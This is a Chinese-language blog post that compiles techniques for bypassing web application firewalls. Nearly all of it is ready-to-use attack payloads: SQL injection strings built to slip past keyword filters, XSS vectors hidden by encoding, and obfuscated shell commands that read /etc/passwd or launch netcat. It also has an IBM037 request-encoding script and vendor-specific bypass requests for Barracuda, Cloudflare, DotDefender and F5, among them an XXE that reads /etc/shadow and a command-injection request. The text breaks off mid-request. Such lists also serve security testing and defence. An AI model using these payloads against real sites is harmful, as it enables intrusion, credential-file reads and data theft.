干货|各种WAF绕过手法学习

旧城等待， 2022-10-21 11:41 3195阅读 0赞

### **0X00    Fuzz/爆破** ###

**fuzz字典**

**1.Seclists/Fuzzing**

[https://github.com/danielmiessler/SecLists/tree/master/Fuzzing][https_github.com_danielmiessler_SecLists_tree_master_Fuzzing]

**2.Fuzz-DB/Attack**

[https://github.com/fuzzdb-project/fuzzdb/tree/master/attack][https_github.com_fuzzdb-project_fuzzdb_tree_master_attack]

**3.Other Payloads 可能会被ban ip，小心为妙。**

[https://github.com/foospidy/payloads][https_github.com_foospidy_payloads]

### **0X01    正则绕过** ###

多少waf 使用正则匹配。

黑名单检测/bypass

**Case**: SQL 注入

• Step 1:

过滤关键词: and, or, union
    可能正则: preg_match('/(and|or|union)/i', $id)
    被拦截的语句: union select user, password from users
    
    bypass语句:  1 || (select user from users where user_id=1) = 'admin'

• Step 2:

过滤关键词: and, or, union, where
    被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'
    
    bypass语句: 1 || (select user from users limit 1) = 'admin'

• Step 3:

过滤关键词: and, or, union, where, limit
    被拦截的语句: 1 || (select user from users limit 1) = 'admin'
    
    bypass语句: 1 || (select user from users group by user_id having user_id=1) = 'admin'

• Step 4:

过滤关键词: and, or, union, where, limit, group by
    被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
    
    bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1

• Step 5:

过滤关键词: and, or, union, where, limit, group by, select
    
    被拦截的语句: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1
    
    bypass语句: 1 || 1 = 1 into outfile 'result.txt'
    bypass语句: 1 || substr(user,1,1) = 'a'

• Step 6:

过滤关键词: and, or, union, where, limit, group by, select, '
    被拦截的语句: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1
    
    bypass语句: 1 || user_id is not null
    bypass语句: 1 || substr(user,1,1) = 0x61
    bypass语句: 1 || substr(user,1,1) = unhex(61)

• Step 7:

过滤关键词: and, or, union, where, limit, group by, select, ', hex
    被拦截的语句: 1 || substr(user,1,1) = unhex(61)
    
    bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr
    被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))
    
    bypass语句: 1 || lpad(user,7,1)

• Step 9:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space
    被拦截的语句: 1 || lpad(user,7,1)
    
    bypass语句: 1%0b || %0blpad(user,7,1)

### **0X02        混淆/编码** ###

**1. 大小写**

标准: <script>alert()</script>
    Bypassed: <ScRipT>alert()</sCRipT>
    
    标准: SELECT * FROM all_tables WHERE OWNER='DATABASE_NAME'
    Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

**2. URL 编码**

被阻断语句: <svG/x=">"/oNloaD=confirm()//
    Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
    
    被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
    Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

**3. Unicode 编码**

标准: <marquee onstart=prompt()>
    混淆: <marquee onstart=\u0070r\u06f\u006dpt()>
    
    被阻断语句: /?redir=http://google.com
    Bypassed: /?redir=http://google.com(Unicode 替代)
    
    被阻断语句: <marquee loop=1 onfinish=alert()>x
    Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode 替代)
    
    TIP: 查看这些说明 this and this reports on HackerOne. :)

**4. HTML 实体编码**

标准: "><img src=x onerror=confirm()>
    Encoded: "><img src=x onerror=confirm&lpar;&rpar;> (General form)
    Encoded: "><img src=x onerror=confirm()> (Numeric reference)

**5. 混合编码**

Sometimes, WAF rules often tend to filter out a specific type of encoding.
    
    This type of filters can be bypassed by mixed encoding payloads.
    
    Tabs and newlines further add to obfuscation.

**混淆**:

**7. 双重URL编码**

这个需要服务端多次解析了url编码
    
    标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
    混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
    
    标准: <script>alert()</script>
    混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

**8. 通配符使用**

用于linux命令语句注入，通过shell通配符绕过
    
    标准: /bin/cat  /etc/passwd
    混淆: /???/??t   /???/??ss??
    Used chars:  / ? t s
    
    标准: /bin/nc 127.0.0.1 1337
    混淆: /???/n? 2130706433  1337
    Used chars:  / ? n [0-9]

**9. 动态payload 生成**

标准: <script>alert()</script>
    混淆: <script>eval('al'+'er'+'t()')</script>
    
    标准: /bin/cat /etc/passwd
    混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd
    
    Bash allows path concatenation for execution.
    
    标准: <iframe/onload='this["src"]="javascript:alert()"';>
    混淆: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

**9. 垃圾字符**

Normal payloads get filtered out easily.
    Adding some junk chars helps avoid detection (specific cases only).
    They often help in confusing regex based firewall
    
    标准:  <script>alert()</script>
    混淆: <script>+-+-1-+-+alert(1)</script>
    
    标准: <BODY onload=alert()>
    混淆: <BODY onload!#$%$()*~+-_.,:;?@[/|\]^`=alert()>
    NOTE: 上述语句可能会破坏正则的匹配，达到绕过。

标准: <a href=javascript;alert()>ClickMe
    Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

**10. 插入换行符**

部分waf可能会对换行符没有匹配
    
    标准: <iframe src=javascript:confirm(0)">
    混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

**11. 未定义变量**

bash 和 perl 执行脚本中加入未定义变量，干扰正则。
    TIP: 随便写个不存在的变量就好。$aaaa,$sdayuhjbsad,$dad2ed都可以。

Level 1 Obfuscation: Normal
    标准: /bin/cat /etc/passwd
    混淆: /bin/cat$u /etc/passwd$u
    
    Level 2 Obfuscation: Postion Based
    标准: /bin/cat /etc/passwd
    混淆: $u/bin$u/cat$u $u/etc$u/passwd$u
    
    Level 3 Obfuscation: Random characters
    标准: /bin/cat /etc/passwd
    混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
    
    一个精心制作的payload
    
    $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

**12. Tab 键和换行符**

大多数waf匹配的是空格不是Tab
    
    标准: <IMG SRC="javascript:alert();">
    Bypassed: <IMG SRC=" javascript:alert();">
    变形: <IMG SRC=" jav ascri pt:alert ();">
    
    标准: http://test.com/test?id=1 union select 1,2,3
    标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
    
    标准: <iframe src=javascript:alert(1)></iframe>
    混淆:
    
    <iframe    src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

**13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)**

Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
    Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
    However, the request must still remain valid while using token-breakers.

Case: Unknown Token for the Tokenizer
    
    Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
    
    Case: Unknown Context for the Parser (Notice the uncontexted bracket)
    
    Payload 1: ?id=123);DROP TABLE users --
    
    Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

**TIP:** 更多payload可以看这里 cheat sheet.

**14. 其他格式混淆**

许多web应用程序支持不同的编码类型(如下表)
    
    混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许  IBM037  字符
    可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1
    HOST: victim.com
    Content-Type: application/x-www-form-urlencoded; charset=utf-8
    Content-Length: 41
    
    id2='union all select * from users--

混淆请求+URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
    HOST: victim.com
    Content-Type: application/x-www-form-urlencoded; charset=ibm037
    Content-Length: 115
    
    %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

**TIP:** 可以使用 这个小脚本 来转化编码

import urllib.parse, sys
    from argparse import ArgumentParser
    lackofart = '''
            OBFUSCATOR
    '''
    
    def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
        result = ""
        equalSign = "="
        ampersand = "&"
        if '=' and '&' in params:
            if encodeEqualSign:
                equalSign = equalSign.encode(charset)
            if encodeAmpersand:
                ampersand = ampersand.encode(charset)
            params_list = params.split("&")
            for param_pair in params_list:
                param, value = param_pair.split("=")
                if urlDecodeInput:
                    param = urllib.parse.unquote(param)
                    value = urllib.parse.unquote(value)
                param = param.encode(charset)
                value = value.encode(charset)
                if urlEncodeOutput:
                    param = urllib.parse.quote_plus(param)
                    value = urllib.parse.quote_plus(value)
                if result:
                    result += ampersand
                result += param + equalSign + value
        else:
            if urlDecodeInput:
                params = urllib.parse.unquote(params)
            result = params.encode(charset)
            if urlEncodeOutput:
                result = urllib.parse.quote_plus(result)
        return result
    
    def main():
        print(lackofart)
        parser = ArgumentParser('python3 obfu.py')
        parser._action_groups.pop()
    
        # A simple hack to have required arguments and optional arguments separately
        required = parser.add_argument_group('Required Arguments')
        optional = parser.add_argument_group('Optional Arguments')
    
        # Required Options
        required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
        required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
    
        # Optional Arguments (main stuff and necessary)
        optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
        optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
        args = parser.parse_args()
        if not len(sys.argv) > 1:
            parser.print_help()
            quit()
        print('Input: %s' % (args.str))
        print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))
    
    if __name__ == '__main__':
        main()

<table> 
 <tbody> 
  <tr> 
   <th>服务器信息</th> 
   <td>可用编码</td> 
   <td>说明</td> 
  </tr> 
  <tr> 
   <td>Nginx, uWSGI-Django-Python3</td> 
   <td>IBM037, IBM500, cp875, IBM1026, IBM273</td> 
   <td>对参数名和参数值进行编码，服务器会对参数名和参数值均进行url解码，需要对等号和&amp; and进行编码(不进行url编码)</td> 
  </tr> 
  <tr> 
   <td>Nginx, uWSGI-Django-Python2</td> 
   <td>IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424</td> 
   <td>对参数名和参数值进行便慢慢<br> 服务器会对参数名和参数值均进行url解码<br> 等号和&amp;符号不应该以任何方式编码。</td> 
  </tr> 
  <tr> 
   <td>Apache-TOMCAT8-JVM1.8-JSP</td> 
   <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025</td> 
   <td> <p>参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可</p> <p>等号和&amp;符号不应该以任何方式编码</p> </td> 
  </tr> 
  <tr> 
   <td>Apache-TOMCAT7-JVM1.6-JSP</td> 
   <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025</td> 
   <td>参数名按原始格式(可以像往常一样使用url编码)<br> Body 不论是否经过url编码均可<br> 等号和&amp;符号不应该以任何方式编码</td> 
  </tr> 
  <tr> 
   <td>IIS6, 7.5, 8, 10 -ASPX (v4.x)</td> 
   <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025</td> 
   <td>参数名按原始格式(可以像往常一样使用url编码)<br> Body 不论是否经过url编码均可<br> 等号和&amp;符号不应该以任何方式编码</td> 
  </tr> 
 </tbody> 
</table>

### **0X04        HTTP 参数污染** ###

手法

这种攻击方法基于服务器如何解释具有相同名称的参数
    可能造成bypass的情况:
    服务器使用最后接收到的参数，WAF只检查第一个参数
    服务器将来自类似参数的值联合起来，WAF单独检查它们

下面是相关服务器对参数解释的比较

<table style="width:677px;"> 
 <thead> 
  <tr> 
   <th>环境</th> 
   <th>参数解析</th> 
   <th>示例</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>ASP/IIS</td> 
   <td>用逗号连接</td> 
   <td>par1=val1,val2</td> 
  </tr> 
  <tr> 
   <td>JSP, Servlet/Apache Tomcat</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>ASP.NET/IIS</td> 
   <td>用逗号连接</td> 
   <td>par1=val1,val2</td> 
  </tr> 
  <tr> 
   <td>PHP/Zeus</td> 
   <td>最后一个参数是结果</td> 
   <td>par1=val2</td> 
  </tr> 
  <tr> 
   <td>PHP/Apache</td> 
   <td>最后一个参数是结果</td> 
   <td>par1=val2</td> 
  </tr> 
  <tr> 
   <td>JSP, Servlet/Jetty</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>IBM Lotus Domino</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>IBM HTTP Server</td> 
   <td>最后一个参数是结果</td> 
   <td>par1=val2</td> 
  </tr> 
  <tr> 
   <td>mod_perl, libapeq2/Apache</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>Oracle Application Server 10G</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>Perl CGI/Apache</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>Python/Zope</td> 
   <td>第一个参数是结果</td> 
   <td>par1=val1</td> 
  </tr> 
  <tr> 
   <td>IceWarp</td> 
   <td>返回一个列表</td> 
   <td>[‘val1’,’val2’]</td> 
  </tr> 
  <tr> 
   <td>AXIS 2400</td> 
   <td>最后一个参数是结果</td> 
   <td>par1=val2</td> 
  </tr> 
  <tr> 
   <td>DBMan</td> 
   <td>由两个波浪号连接起来</td> 
   <td>par1=val1~~val2</td> 
  </tr> 
  <tr> 
   <td>mod-wsgi (Python)/Apache</td> 
   <td>返回一个列表</td> 
   <td>ARRAY(0x8b9058c)</td> 
  </tr> 
 </tbody> 
</table>

### **0X05        浏览器的缺陷** ###

Charset Bugs:

可以尝试 修改 charset header to  更高的 Unicode(eg. UTF-32)
    当网站解码的时候，触发payload

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
    Host: site.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
    Accept-Charset:utf-32; q=0.5<
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate

当站点加载时，将其编码为我们设置的UTF-32编码，然后由于页面的输出编码为UTF-8,将其呈现为: "<script>alert(1)</script>从而触发xss。

完成url编码后的payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null 空字节

空字节通常用作字符串终止符

Payload 示例:
    
    <scri%00pt>alert(1);</scri%00pt>
    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
    标准: <a href="javascript:alert()">
    混淆: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
    变形: <a 0x00 href="javascript:alert(1)">clickme</a>

解析错误

RFC 声明节点名不可以由空白起始
    
    但是我们可以使用特殊字符 ` %, //, !, ?`, etc.
    
    例子:
    
    <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
    
     - Works upto IE9 (Reference)
    
    <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
    
    <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode 分隔符

*  每个浏览器有不同的分隔分隔符

@Masato Kinugawafuzz 后发现如下

IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
    
    Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
    
    Safari: 0x2C, 0x3B
    
    FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
    
    Opera: 0x09, 0x20, 0x2C, 0x3B
    
    Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

示例

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

使用其他非典型等效语法结构替换

找的"waf开发人员没有注意到的"语句进行攻击

一些WAF开发人员忽略的常见关键字:

*  JavaScript functions:
    
     *  `window`
     *  `parent`
     *  `this`
     *  `self`
 *  Tag attributes:
    
     *  `onwheel`
     *  `ontoggle`
     *  `onfilterchange`
     *  `onbeforescriptexecute`
     *  `ondragstart`
     *  `onauxclick`
     *  `onpointerover`
     *  `srcdoc`

SQL Operators

`lpad`

lpad(string, padded_length,  [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
    lpad('tech', 7); 将返回' tech'
      lpad('tech', 2); 将返回'te'
      lpad('tech', 8, '0'); 将返回'0000tech'
      lpad('tech on the net', 15, 'z'); 将返回'tech on the net'
      lpad('tech on the net', 16, 'z'); 将返回'ztech on the net

field

FIELD(str,str1,str2,str3,...)
    返回的索引（从1开始的位置）的str在str1，str2，STR3，...列表中。如果str没有找到，则返回0。
    +---------------------------------------------------------+
    | FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo') |
    +---------------------------------------------------------+
    | 2                                                       |
    +---------------------------------------------------------+

`bit_count` 二进制数中包含1的个数。BIT\_COUNT(10);因为10转成二进制是1010，所以该结果就是2

示例payloads:

Case: XSS
    <script>window['alert'](0)</script>
    <script>parent['alert'](1)</script>
    <script>self['alert'](2)</script>
    Case: SQLi
    SELECT if(LPAD(' ',4,version())='5.7', sleep(5),null);
    1%0b||%0bLPAD(USER,7,1)
    可以使用许多替代原生Javascript的方法:
    JSFuck
    JJEncode
    XChars.JS

滥用SSL/TLS密码:

很多时候，服务器可以接收各种SSL/TLS密码和版本的连接。
    初始化到waf不支持的版本
    找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。
    找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
    找出服务器支持但waf不支持的

**Tool**: abuse-ssl-bypass-waf

### 滥用 DNS 记录: ###

*  找到云waf后的源站

> **TIP:** 一些在线资源 IP History 和 DNS Trails

**Tool**: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

### 请求头欺骗 ###

让waf以为请求来自于内部网络，进而不对其进行过滤。

添加如下请求头

X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1

### **Google Dorks Approach:** ###

应对已知WAF的绕过

搜索语法:

Normal search:

`+<wafname> waf bypass`

Searching for specific version exploits:  
`"<wafname> <version>" (bypass|exploit)`

For specific type bypass exploits:  
`"<wafname>" +<bypass type> (bypass|exploit)`

On Exploit DB:  
`site:exploit-db.com +<wafname> bypass`

On 0Day Inject0r DB:  
`site:0day.today +<wafname> <type> (bypass|exploit)`

On Twitter:  
`site:twitter.com +<wafname> bypass`

On Pastebin  
`site:pastebin.com +<wafname> bypass`

## **0X06    拓展Bypass姿势** ##

### **Airlock Ergon** ###

SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
    
    %C0%80'+union+select+coll,col2,col3+from+table+--+

AWS

SQLi Bypass by @enkaskal

"; select * from TARGET_TABLE --

XSS Bypass by @kmkz

### **Barracuda** ###

Cross Site Scripting by @WAFNinja

<body style="height:1000px" onwheel="alert(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

HTML Injection by @Global-Evolution

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
    Host: favoritewaf.com
    User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

XSS Bypass by @0xInfection

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere

Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort

Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort

### **Cerber (WordPress)** ###

Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son

POST host.com HTTP/1.1
    Host: favoritewaf.com
    User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
    
    author=1

Protected Admin Scripts Bypass by @ed0x21son

http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
    http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar

REST API Disable Bypass by @ed0x21son

http://host/index.php/wp-json/wp/v2/users/

### **Citrix NetScaler** ###

SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
       <soapenv:Header/>
       <soapenv:Body>
            <string>’ union select current_user, 2#</string>
        </soapenv:Body>
    </soapenv:Envelope>

`generic_api_call.pl XSS by @NNPoster`

http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

`Cloudflare`

HTML Injection by @spyerror

<div style="background:url(/f#oo/;color:red/*/foo.jpg);">X

XSS Bypass by @c0d3g33k

<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>

XSS Bypasses by @Bohdan Korzhynskyi

XSS Bypass by @RakeshMane10

XSS Bypass by @ArbazKiraak

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

XSS Bypass by @Ahmet Ümit

<--`<img/src=` onerror=confirm``> --!>

XSS Bypass by @Shiva Krishna

javascript:{alert`0`}

XSS Bypass by @Brute Logic

<base href=//knoxss.me?

XSS Bypass by @RenwaX23 (Chrome only)

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

RCE Payload Detection Bypass by @theMiddle

cat$u+/etc$u/passwd$u
    /bin$u/bash$u <ip> <port>
    ";cat+/etc/passwd+#

### **Comodo** ###

XSS Bypass by @0xInfection

<input/oninput='new Function`confir\u006d\`0\``'>
    <p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

SQLi by @WAFNinja

0 union/**/select 1,version(),@@datadir

### DotDefender ###

Firewall disable by (v5.0) by @hyp3rlinx

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
    <enabled>false</enabled>

Remote Command Execution (v3.8-5) by @John Dos

POST /dotDefender/index.cgi HTTP/1.1
    Host: 172.16.159.132
    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Authorization: Basic YWRtaW46
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 95
    
    sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

Persistent XSS (v4.0) by @EnableSecurity

GET /c?a=<script> HTTP/1.1
    Host: 172.16.159.132
    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
    rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    <script>alert(1)</script>: aa
    Keep-Alive: 300

R-XSS Bypass by @WAFNinja

XSS Bypass by @0xInfection

<p draggable=True ondragstart=prompt()>alert
    <bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
    GET - XSS Bypass (v4.02) by @DavidK
    
    /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
    
    <img src="WTF" onError="{var
    {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
    h%2Bn)(/0wn3d/.source)" />

POST - XSS Bypass (v4.02) by @DavidK

`clave XSS (v4.02) by @DavidK`

/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

### **Fortinet Fortiweb** ###

`pcre_expression` unvaidated XSS by @Benjamin Mejri

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
    /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP Bypass by @Binar10

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
    Host: <host>
    User-Agent: <any valid user agent string>
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: <the content length must be at least 2399 bytes>
    
    var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

### **F5 ASM** ###

XSS Bypass by @WAFNinja

<table background="javascript:alert(1)"></table>
    "/><marquee onfinish=confirm(123)>a</marquee>

### **F5 BIG-IP** ###

XSS Bypass by @WAFNinja

<body style="height:1000px" onwheel="[DATA]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

XSS Bypass by @Aatif Khan

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>

`report_type` XSS by @NNPoster

https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

POST Based XXE by @Anonymous

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
    Host: bigip
    Cookie: BIGIPAuthCookie=*VALID_COOKIE*
    Content-Length: 143
    
    <?xml version="1.0" encoding='utf-8' ?>
    <!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
    <message><dialogueType>&e;</dialogueType></message>

Directory Traversal by @Anastasios Monachos

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

`Delete Arbitrary File`

POST /tmui/Control/form HTTP/1.1
    Host: site.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
